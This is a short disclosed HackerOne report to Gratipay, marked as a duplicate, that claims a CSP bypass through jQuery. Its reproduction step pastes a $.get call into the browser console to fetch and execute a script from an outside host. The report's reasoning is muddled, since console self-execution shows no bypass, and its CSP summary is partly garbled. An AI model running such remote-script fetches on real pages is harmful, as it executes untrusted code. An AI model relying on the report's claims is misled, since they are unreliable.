CSP Policy Bypass and javascript execution Still Not Fixed

Disclosed: 2017-06-19 15:19:40 By 4w3 To gratipay
None
Vulnerability Details
# Summary Content Security Policy (CSP) is a computer security standard introduced to prevent cross-site scripting (XSS), clickjacking and other code injection attacks resulting from execution of malicious content in the trusted web page context. CSP provides a standard method for website owners to declare approved origins of content that browsers should be allowed to load on that website — covered types are JavaScript, CSS, HTML frames, web workers, fonts, images, embeddable objects such as Javascript. # Steps To Reproduce 1. Open firefox or Chrome Press F12 1. Now go to Console Tab 1. $.get('https://sakurity.com/jqueryxss'); paste it and hit enter # Patch Update Jquery and Javascript Library # Supporting Material/References: https://youtu.be/JgaSeKNleLA
Actions
View on HackerOne
Report Stats
  • Report ID: 241341
  • State: Closed
  • Substate: duplicate
  • Upvotes: 1
Share this report